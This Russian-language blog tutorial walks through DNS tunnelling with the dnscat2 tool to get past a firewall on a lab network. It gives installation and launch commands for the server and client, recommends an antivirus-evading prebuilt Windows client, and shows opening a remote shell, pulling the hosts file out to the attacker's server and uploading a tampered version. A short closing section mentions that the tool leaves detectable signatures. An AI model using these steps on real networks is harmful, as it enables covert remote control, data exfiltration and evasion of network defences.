DNS-туннелирование Dnscat2

DNS-туннелирование Dnscat2

E7|MGMx80


DNS вам не друг, не товарищ, а ВРАГ!

Заинтриговал?

Тогда погнали.

Запасаемся терпением. Материал будет долгий, нудный, в некоторых участках вам самим придется разбираться с ОС, чтобы все это заработало.

Огромный респект тем, кто осилит, поймет основу и доведет до практики.

Внимание!

Все DNS и IP адреса, описанные в практической части являют вымышленными. Любое совпадение с реальными данными - случайны.

Материал носит исключительно обучающий характер. При понимании метода атаки вы в будущем сможете сами настроить свои системы защиты.


Немного теории.

DNS это базовый протокол, без которого современный интернет даже и вообразить нельзя. Он представляет собой справочники открытой информации из доменных имен хостов и ip адресов. Упрощенная схема DNS запросов выглядит следующим образом, но реальный DNS трекинг куда сложнее.

Кто бы мог подумать, что DNS протокол будут использовать в корыстных целях и скрывать трафик внутри него! Для сокрытия передаваемой информации, одни злоумышленники прибегают к передаче данных в различных кодировках, а другие используют алгоритмы шифрования.

История атаки с помощью DNS-туннелирования уходит в далекие 1998 года, к 2004 идея переросла в инструменты хакерской атаки и сейчас актуальна во многих структурах.

Инструменты.

Программ под эту уязвимость написано не мало, самые распространенные среди них:

  • DNSCat2
  • dns2tcp
  • lodine
  • OzymanDNS
  • Heyoka

В рамках данной статьи рассмотрим DNSCat2.

Установка dnscat2.

Чтобы не набить себе шишки и сохранить нервы, дам вам ряд советов:

1. На серверной стороне установите полную версию Ruby.

sudo apt update
sudo apt install ruby-full

Серверная часть программы очень нестабильно работала. Возникали ошибки, которые на официальной ветке программы давно исправлены.

Чтобы не потратить много времени - устанавливайте Ruby-full или Ruby-dev.

2. Большинство Linux сборок стартуют с локальным DNS сервером, причем стоит вам выключить службу named , как при перезагрузке ее может занять сразу dnsmasq.

Посмотрите какая служба крутиться на 53 порту.

netstat -tulpn

Остановите BIND Domain Name Server

systemctl stop named

Удалите из автозагрузки службу

systemctl disable named

Остановите dnsmasq

systemctl stop dnsmasq

Удалите из автозагрузки службу

systemctl disable dnsmasq

3. После отключения локальной dns службы, не забудьте прописать DNS в настройках сети.


Для установки dnscat2 обратимся к исходникам на GitHub.

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundle install

Запустите и проверьте работу сервера:

sudo ruby ./dnscat2.rb --secret=11111111111111111111111111111111

Можно опустить 128 битный ключ, тогда он будет генерироваться автоматически. Тот, кто в теме, поймет, для чего лучше его заранее предопределить и знать на каком ключе будет работать сервер.

Установите dnscat2-client

Для linux систем:

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make

Для Windows:

В среде Windows можно воспользоваться Visual Studio 8 и скомпилировать в ней, но были проблемы, не все функции клиента корректно работали под Windows.

Для простоты скачайте готовый бинарник под win32 с этого сайта. Архив имеет пароль - password. Этот вариант предпочтительнее, т.к. клиент 100% рабочий, весит 138кб и не детектируется антивирусными программами.

Команда для запуска:

./dnscat --dns server={DNS_Name}or{IP xxx.xxx.xxx.xxx},port=53         --secret=11111111111111111111111111111111


Практикум. Тестовый стенд.

Тестовый стенд максимально приблизим к реальным условиям относительно защищенной сети.

Создаем виртуальную машину в локальной сети, в которой имеется Active Directory. В AD этот виртуальный ПК не вводим, оставляем только в настройках сети DNS от AD. Виртуальному ПК с ОС Windows 10 блокируем доступ в интернет. Серверу c Active Directory доступ в интернет также заблокирован.
У него имеется разрешение только на работу с DNS провайдера и корневыми DNS.


Проверяем Ping на внешние ресурсы. Не работает. Локальный DNS выдает по запросу ip данные по адресу ya.ru

Сайт ya.ru тоже не загружается.

Фаервол также показывает запреты на внешние ресурсы.


Приступаем к тестированию.

Запускаем клиента с указанием ключа сервера и обратным DNS для связи.

На стороне сервера мы видим, что произошло подключение, поднялась сессия.

tcpdump наглядно показывает обмен пакетами между клиентом и сервером.

tcpdump -vvv -s 0 -l -n port 53


Цели мы достигли, показали и доказали, что DNS-туннелирование - это серьезная брешь в безопасности почти любой системы.

На этом можно было остановиться, дать материал на самостоятельное изучение и оставить все сладкое за кадром. Обещаю, что большую часть вам придется изучить самим, а пока покажу малую эксплуатацию.


Смотрим, какие у нас есть команды у dnscat2

dnscat2> help

Команда windows показывает активные сессии. Сейчас только одна сессия.

Подключаемся к ней и смотрим, какие команды доступны в рамках этой сессии.

dnscat2> session -i 1
command (XXX-TEST) 1> help

Так же можно посмотреть синтаксис команды download

Для подключения к шелу удаленного ПК необходимо выполнить команду shell. Автоматически создастся отдельная сессия. В нашем случае - под номером 2.

command (XXX-TEST) 1> shell

Попробуем скачать файл hosts, произведем модификацию и закинем его обратно с заменой имеющегося.

Переходим в сессию № 2 и находим расположение файла hosts.

Читаем содержимое файла hosts.

Из-за того, что Windows системы используют обратный слеш, в dnscat придется его экранировать, вместо одного ставить четыре обратных слеша. Иначе путь к файлу будет не корректно указан, что приведет к ошибкам и возможным проблемам связи с клиентской частью программы.


Копируем файл hosts к себе на сервер.

command (XXX-TEST) 1> download C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts /tmp/E7/hosts


Исправляем файл и загружаем его на клиентскую машину.

command (XXX-TEST) 4> upload /tmp/E7/host_edit C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts

Команда отработала корректно, 954 байта загружено. Проверяем на самой клиентской машине.


Такая замена системных файлов не прошла бы без повышения привилегий, но это материал совсем другой статьи, а точнее рубрики статей.

На этом демонстрация примера эксплуатации уязвимости закончена.

Сценариев использования может быть великое множество, т.к. это просто инструмент для достижения цели.


Выводы.

DNS-туннелирование - это очень серьезная проблема в информационной безопасности.

На курсах повышения квалификации по ИБ вы об этом и не услышите. Если зададите вопрос педагогам, сомневаюсь, что сразу получите какой-либо ответ.

С 2019 года активно обсуждают эту проблему, но достойного программного обеспечения по детектированию DNS-туннелирования я выявить пока не могу.

Имеются инструменты и методики для выявления утечки информации таким способом, но это мы обсудим в другой статье.

Рассмотренный инструмент dnscat2 является полноценным бекдором, но при анализе трафика его можно сигнатурно выявить, т.к. он оставляет определенные маркеры в пакетах.

Прогресс не стоит на месте, отчего в ближайшее время можем ожидать целое направление во вредоносном ПО, которое будет работать более скрытно и передавать секретные данные аналогичным образом.


Ваш MGMx80.


Report Page